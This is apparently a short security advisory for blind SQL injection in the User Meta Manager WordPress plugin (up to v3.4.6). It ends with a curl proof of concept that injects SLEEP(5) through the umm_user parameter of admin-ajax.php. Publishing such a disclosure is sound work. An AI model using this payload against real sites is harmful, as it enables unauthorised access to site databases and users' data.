User Meta Manager [Blind SQLI]

Description

AJAX actions umm_edit_user_meta and umm_delete_user_meta of the User Meta Manager for WordPress plugin up to v3.4.6 are vulnerable to blind SQL injection attacks. A registered user can pass arbitrary MySQL commands to umm_user GET param.

PoC

curl -c ${USER_COOKIES} \
    "http://${VULN_SITE}/wp-admin/admin-ajax.php\?action=umm_switch_action\
    &umm_sub_action=[umm_delete_user_meta|umm_edit_user_meta]&umm_user=SLEEP(5)"